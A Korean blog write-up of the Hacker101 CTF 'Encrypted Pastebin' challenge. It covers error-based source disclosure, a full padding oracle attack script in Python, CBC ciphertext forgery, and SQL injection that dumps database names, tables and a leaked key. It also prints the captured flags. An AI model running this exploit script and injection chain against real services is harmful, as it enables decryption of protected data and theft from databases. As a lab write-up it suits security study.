Encrypted Pastebin (Hard, 9)
Flag0
GET parameter 중 post에 잘못된 형식의 값을 넣으면 main.py와 common.py의 일부분을 보여주면서 플래그를 얻을 수 있다.
Flag: ^FLAG^61f15643be78413fcd9f8132c6a4fb371e53af53f6dd8bed60af8df3e4286d05$FLAG$
Flag1
BASE64 디코딩에서 실패할 경우 아래의 Traceback 로그를 얻는다.
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 46, in decryptLink
data = b64d(data)
File "./common.py", line 11, in <lambda>
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
Error: Incorrect padding
|
AES 복호화에 실패하면 아래의 로그들을 얻을 수 있다.
첫 번째는 8byte, 두 번째는 16byte, 세 번째는 24byte, 마지막은 32byte 길이의 문자열을 보낸 것이다.
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 48, in decryptLink
cipher = AES.new(staticKey, AES.MODE_CBC, iv)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
return AESCipher(key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long
|
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 49, in decryptLink
return unpad(cipher.decrypt(data))
File "./common.py", line 19, in unpad
padding = data[-1]
IndexError: string index out of range
|
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 49, in decryptLink
return unpad(cipher.decrypt(data))
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 295, in decrypt
return self._cipher.decrypt(ciphertext)
ValueError: Input strings must be a multiple of 16 in length
|
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 49, in decryptLink
return unpad(cipher.decrypt(data))
File "./common.py", line 22, in unpad
raise PaddingException()
PaddingException
|
첫 16바이트는 IV고 그 뒤에 암호화한 값을 주는데, 에러 로그를 그대로 보여주기 때문에 Padding Oracle Attack이 가능하다.
아무 값이나 쓴 뒤 post parameter를 복호화하면 플래그와 어떤 key 값을 준다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 |
import requests
import base64
import copy
from multiprocessing import Event, Pool, Process, Queue
# Initalization phase
def Initalize() :
global URL
global data, iv
URL = 'http://35.227.24.107/a64d5f59ee'
_data = '1ceb0b1bec27338b0d0718bf8c32bd5cf0c87dba2646eff15765e642096f3705831c078e3e8971c4a15cd669f18e2b2a6fad2835cc8b8417cc36d6e4973ac1c2f1009668a18c7ba2abf17ffb4225d178a6e6a1727f78f9d8d37851755411e9803633a4c230668ab2f14b000407e52c9b47e3dc448e66adb3b2a8b25d29b029af978f1669b5b893af064825bef1a63dede5a7532d3f30a7e8d46d1513fc4ba36c'
_blocks = len(_data) // 32
data = [[int(_data[32*block+2*i:32*block+2*i+2], 16) for i in range(16)] for block in range(_blocks)]
iv = data[0]
def BASE64Encode(data) :
b = b''.join([bytes(bl) for bl in data])
r = base64.b64encode(b)
r = r.decode().replace('=', '~').replace('/', '!').replace('+', '-')
return r
def XORBlock(target, key) :
if len(target) != 16 or len(key) != 16 :
raise Exception('Invalid block size')
for i in range(16) :
target[i] ^= key[i]
return target
# Parsing server response
RESP_BAD_DATA = 0x1
RESP_PADDING_ERROR = 0x2
def ParseResponse(resp) :
if b'PaddingException' in resp : return RESP_PADDING_ERROR
return RESP_BAD_DATA
# Get bytes of plaintext
class WorkerStatus :
def __init__(self, rqueue:Queue, event:Event, begin:int, end:int) :
self.queue = rqueue
self.event = event
self.begin = begin
self.end = end
class WorkerData :
def __init__(self, payload:list, ziv:list, padding_size:int) :
self.payload = payload
self.ziv = ziv
self.padding_size = padding_size
def _int_RetrieveByte(status:WorkerStatus, args:WorkerData) :
payload = copy.deepcopy(args.payload)
ziv = copy.deepcopy(args.ziv)
padding_size = args.padding_size
byte = status.begin
while True :
if status.event.is_set() : return
if byte == status.end : break
ziv[16-padding_size] = byte
payload[-2] = ziv
p = BASE64Encode(payload)
try : r = requests.get(URL+'/?post={0}'.format(p))
except : continue
rc = ParseResponse(r.content)
if rc == RESP_BAD_DATA :
mbyte = byte^padding_size
print(' > Value: {0}'.format(mbyte))
status.queue.put(mbyte)
status.event.set()
return
byte += 1
status.queue.put(-1)
def RetrieveByte(block:int, found:list) -> int :
payload = copy.deepcopy(data)
payload = payload[:block+1]
padding_size = 1
ziv = copy.deepcopy(found)
if ziv == None :
ziv = [0 for _ in range(16)]
else :
for i in range(16) :
if ziv[15-i] != -1 : padding_size += 1
else : break
for i in range(padding_size-1) :
ziv[15-i] ^= padding_size
for i in range(16) :
if ziv[i] == -1 : ziv[i] = 0
print('[Info] Getting a byte of index={0} ...'.format(16-padding_size), end='', flush=True)
processes = []
e = Event()
q = Queue()
for i in range(8) :
status = WorkerStatus(q, e, 32*i, 32*(i+1))
args = WorkerData(payload, ziv, padding_size)
_p = Process(target=_int_RetrieveByte, args=(status, args))
_p.start()
processes.append(_p)
for _p in processes :
_p.join()
_c = 0
while True :
_ret = q.get()
_c += 1
if _ret != -1 : return _ret
if _c >= 8 : break
return -1
# Get blocks of plaintext
def RetrieveBlock(block:int) :
print('[Info] Getting a block of index={0} ...'.format(block))
found = [-1 for _ in range(16)]
for index in range(16) :
b = RetrieveByte(block, found)
if b == -1 :
print('[Info] Failed to get byte at block={0}, index={1}'.format(block, 15-index))
return None
found[15-index] = b
print('[Info] Block: {0}'.format(found))
return found
# Attack phase
def Attack() :
blocks = len(data)
plaintext = ''
for bindex in range(1, blocks) :
pb = RetrieveBlock(bindex)
pb = XORBlock(pb, data[bindex-1])
for i in range(16) :
plaintext += chr(pb[i])
print('Decrypted data: '+plaintext)
# Main
if __name__ == '__main__' :
Initalize()
Attack()
|
{"flag": "^FLAG^9fe883fd8c86923e9e81a20dda3e6f3671828759cc49dd231199392a2f42b9e8$FLAG$", "id": "8", "key": "OD83QAFcBPZ1LQOqLtcxcw~~"}
|
Flag: ^FLAG^9fe883fd8c86923e9e81a20dda3e6f3671828759cc49dd231199392a2f42b9e8$FLAG$
Flag2
처음에는 Flag1에서 얻은 key가 AES에 사용된 키 값이라고 생각했지만 아니었다.
원본의 첫 번째 블럭은 {"flag": "^FLAG^이므로 이 블럭과 IV, 목표 변조값을 xor하면 된다.
첫 번째 블럭을 {"id": "1"}로 바꿔서 보내면 아래의 에러 로그와 함께 플래그를 얻을 수 있다.
HOsEE696MZMcBzv8xXb!B!DIfbomRu!xV2XmQglvNwU~
|
Attempting to decrypt page with title: ^FLAG^5655815771843fa7a4d95946b95cb3c81f1dacc464ded652d6ac53cd02370a76$FLAG$
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
KeyError: 'key'
|
Flag: ^FLAG^5655815771843fa7a4d95946b95cb3c81f1dacc464ded652d6ac53cd02370a76$FLAG$
Flag3
{"id": "1'"} 을 보내면 아래와 같은 응답을 얻는다.
Traceback (most recent call last):
File "./main.py", line 71, in index
if cur.execute('SELECT title, body FROM posts WHERE id=%s' % post['id']) == 0:
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")
|
내부적으로 SQL을 쓴다는 사실을 알 수 있고, 덤으로 SQL statement도 가져올 수 있다.
SQL Injection으로 데이터베이스 이름을 가져온 뒤, 테이블과 컬럼 목록을 가져오고 마지막으로 값들을 가져오면 된다.
하지만 여기서, SQL Injection을 하려면 여러 블럭을 정상적으로 수정해야 하는 작업이 필요하다.
\(i\)번째 블럭을 \(C_{i}\)라고 하자. (IV는 \(C_{0}\))
\(C_{2}=\mathrm{Dec}(C_{2})\oplus C_{1}\) 이므로, \(C_{2}\)를 수정하려면 \(C_{1}\)을 적절히 변경해 주면 된다. 그러나 \(C_{1}\)을 변경하기 위해서는 \(\mathrm{Dec}(C_{1})\) 의 값이 필요한데, \(C_{2}\)를 변경하기 위해 \(C_{1}\)을 변경했으니 기존의 \(\mathrm{Dec}(C_{1})\) 이 아무 쓸모가 없어진다.
이를 해결하기 위해서는 새로 만든 \(C_{1}\)의 복호화 값을 계산할 필요가 있다. 이것은 마찬가지로 Padding Oracle Attack을 통해 가능하다.
Stage 1: DB 이름 및 유저 이름 가져오기
아래와 같이 블럭을 바꾸면 된다. (변경되는 블럭의 개수를 최소화해야 편하다.)
\(\mathrm{Dec}(C_{6})\) 의 값은 아래와 같다.
[130, 160, 237, 51, 56, 92, 219, 244, 243, 90, 56, 17, 118, 43, 201, 162]
|
목표 값을 \(T_{n}\)이라고 할 때, \(C_{5}\) 대신 \(\mathrm{Dec}(C_{6})\oplus T_{6}\) 을 사용한다면 복호화했을 때 \(T_{6}\)을 얻을 수 있다. 이 새로 만든 값을 \(C_{5}'\) 라고 하자. 이 값은 아래와 같다.
[195, 225, 172, 114, 121, 29, 154, 181, 178, 120, 122, 83, 52, 9, 243, 128]
|
\(T_{5}\)를 얻기 위해서 \(\mathrm{Dec}(C_{5}')\) 를 계산해야 한다. \(C_{5}'\) 앞에 16개의 NULL 바이트를 붙이고, 해당 16바이트에 대해서 각 바이트마다 Padding Oracle Attack을 진행해서 intermediary value을 알아낼 수 있다. Flag1 단계에서 사용했던 코드를 재활용해서 구하면 아래의 값을 얻게 된다.
[113, 208, 16, 198, 196, 119, 172, 188, 193, 228, 130, 159, 121, 156, 236, 193]
|
이 값이 \(\mathrm{Dec}(C_{5}')\) 가 된다. 이 값을 사용해 \(C_{4}'\)를 구하면 아래 값이 나온다.
[48, 145, 81, 135, 133, 54, 237, 253, 128, 165, 195, 222, 56, 221, 173, 128]
|
이런 식으로 \(C_{0}'\)까지 구하고 BASE64로 인코딩한 값을 post에 넘겨주면 데이터베이스 이름을 가져올 수 있다.
손으로 하는 게 귀찮아서 임시로 parameter를 계산하는 자동화 스크립트를 만들었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
def ChangeBlocks(target) :
global data
mblocks = [
[103, 201, 109, 119, 141, 64, 17, 177, 45, 37, 70, 249, 192, 115, 250, 2],
[201, 174, 24, 130, 30, 117, 137, 149, 111, 6, 222, 116, 48, 93, 4, 96],
[186, 121, 63, 191, 95, 187, 65, 160, 197, 61, 229, 12, 199, 232, 24, 28],
[88, 156, 16, 7, 244, 188, 177, 46, 175, 85, 226, 221, 243, 94, 243, 241],
[192, 49, 175, 81, 146, 181, 73, 195, 153, 151, 75, 201, 32, 28, 180, 64],
[130, 160, 237, 51, 56, 92, 219, 244, 243, 90, 56, 17, 118, 43, 201, 162],
[14, 17, 136, 226, 18, 13, 239, 203, 211, 113, 32, 38, 72, 161, 20, 168],
[22, 162, 154, 39, 204, 54, 247, 130, 254, 249, 253, 44, 101, 196, 74, 215],
[244, 248, 104, 23, 151, 197, 153, 165, 12, 66, 47, 180, 251, 172, 55, 231]]
blocks = len(target)
payload = data[blocks:]
to_change = XORBlock(mblocks[blocks-1], target[blocks-1])
payload = to_change + payload
for i in range(1, blocks) :
data = [[0 for _ in range(16)], to_change]
b = RetrieveBlock(1)
to_change = XORBlock(b, target[blocks-1-i])
payload = [to_change] + payload
print(payload)
print(BASE64Encode(payload))
|
CR2YyWVHC2J8qyBUtXFd2b4zHeHuypm7Qia9aFDH92DbZKWBmzDqW0cFIfnLul2yd98lRis2ciK5rRIGQ3y8fDCRUYeFNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: level3
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 34, in decryptPayload
data = b64d(data)
File "./common.py", line 11, in <lambda>
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
Error: Incorrect padding
|
DB 이름은 level3이다. 또한 아래와 같이 블럭을 바꾸면 유저 이름을 알 수 있다.
FMb9XyevGdMkj9PnPWbbzT4md4cc2!Y9rMEpsumlqSi2c7eXjDDqW0cFIfnLul2yd98lRis2ciK5rRIGQ3y8fDCRUYeFNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: root@localhost
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 34, in decryptPayload
data = b64d(data)
File "./common.py", line 11, in <lambda>
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
Error: Incorrect padding
|
Stage2: 테이블 이름 가져오기
아래 그림처럼 블럭들을 바꾸면 된다.
c!4eRwUDK7HHbl!KC5j8u-PPK9Stu851vbyvx2N2jlA32SjXnC8k69lid9vu6TPmeshRAgaBkhoqohGA8qGAif7Z40z56INDHrihueh6W1eIoonYrwAJqXDIrl158a7CAELW!uFnNf3W4k4AoimaFXPbuB3ud7bDv7i8bSSFC5aXjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: posts,tracking
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 36, in decryptPayload
cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
File "./common.py", line 11, in
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
Error: Incorrect padding
|
Stage3: Column 이름 가져오기
MBQo54AcKUcHRrbgO7iR3gTTDdC73KKMoXSOlDK3363JjushbkxGcpvgXa6UuhuDn!-73MZUJtpWZz-BAr2W!ugDN-EPVvKH-X2wl82Ztrj1H8w5Y53Z-W!l3nxkbfdx56wKOp8l6kGeEx7j6NZcT2-AoAWNd7bDv7i8bSSFC5aXjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: id,title,body
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 36, in decryptPayload
cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
return AESCipher(key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long
|
N8lyUR7EfeqOei!xRNAP9yqbBHG4CoGf3uj4i5pQ76oeZk!7qPuSadUktCJhzAsECIIOBD42Q7NcaMPXc6uKMX-H8V!ZKu!6pUrEIIzjhl7WEXS!KbuJ2JG7ukLxpIEShVrbnwGv9IsTlcPAIxX68DTJ!17uDNXDv7i8bSSFC5aXjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: id,headers
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 36, in decryptPayload
cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
return AESCipher(key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long
|
Stage4: tracking 테이블 dump
지금까지 나온 소스코드로 미루어 추정해보면, 서버의 DB에는 body가 key로 암호화 된 상태로 저장되어 있다고 예측할 수 있다. 따라서 다른 id를 가지고 있는 포스트의 body를 알기 위해서는 key에 대한 정보가 반드시 있어야 한다. 아마 tracking 테이블에 이 정보가 있을 것이라고 예상해볼 수 있다.
GY19OJ2N-mEuwDAVa-uF38olUyTIFbK7-PGOCqUc0EededP0526KmhwrIml2Y-MIRP8HbAMZVEHUzhIGQx!HHzCRUYeFNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: 1,2
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 36, in decryptPayload
cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
return AESCipher(key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long
|
GM7lVyb6-g5q0ESmVQyKdkxe9OcM-HENJoZfP78ZEuawQMYf4HJaIs1Ua0U-NBv0TeDfTBd9LeI1FaUHTGZdlzCRMvzmNu39gKXD3jjdrYDD4axyeR2a1t94elM0CfOANjOkwjBmirLxSwAEB-Usm0fj3ESOZq2zsqiyXSmwKa-XjxZptbiTrwZIJb7xpj3t5adTLT8wp-jUbRUT!EujbA~~
|
Attempting to decrypt page with title: Referer: http://127.0.0.1:14807/?post=3qgJL8cHXZDJRjPUqmRZ9fJAA7F6RT202sD4wML5bBFKhwkVfDekR86COzwzv1JXZsDkjVGeRYTC9SVE09kreg~~
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Host: 127.0.0.1:14807
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
,Referer: http://35.227.24.107/95579f8c35/
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Connection: close
Host: 127.0.0.1:49015
Cache-Control: max-stale=0
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Accept-Language: en-US,en;q=0.7,ko;q=0.3
Accept-Encoding: gzip, deflate
Traceback (most recent call last):
File "./main.py", line 74, in index
body = decryptPayload(post['key'], body)
File "./common.py", line 36, in decryptPayload
cipher = AES.new(b64d(key), AES.MODE_CBC, iv)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
return AESCipher(key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long
|
어떤 post 값이 보이는데, 저 값을 Padding Oracle Attack으로 복호화하면 아래의 문자열을 얻을 수 있다.
{"id": 1, "key": "EQLOLLlxmcJU31ai2YQtdQ~~"}
|
Stage5: id=1 포스트 읽기
다시 암호화할 필요 없이 tracking 로그에 찍힌 post parameter를 그대로 전달해 주면 플래그를 얻을 수 있다. 제목은 Flag2이고, 내용이 Flag3이다.
Flag: ^FLAG^827a22025140a6402289287d46e43f051c1e747e1d444cd24827eee79aaba0bd$FLAG$
Reference
https://en.wikipedia.org/wiki/Padding_oracle_attack
http://laughfool.tistory.com/attachment/cfile7.uf@135D7C3F4F799B14313DAA.pdf
https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/padding-oracle-attack-zh/
https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
'Wargame > Hacker101 CTF' 카테고리의 다른 글
[Hacker101 CTF] Cody's First Blog (0) | 2020.02.18 |
---|---|
[Hacker101 CTF] Photo Gallery (0) | 2020.02.18 |
[Hacker101 CTF] Micro-CMS v2 (0) | 2020.02.15 |
[Hacker101 CTF] Micro-CMS v1 (0) | 2020.02.15 |
[Hacker101 CTF] A little something to get you started (0) | 2020.02.15 |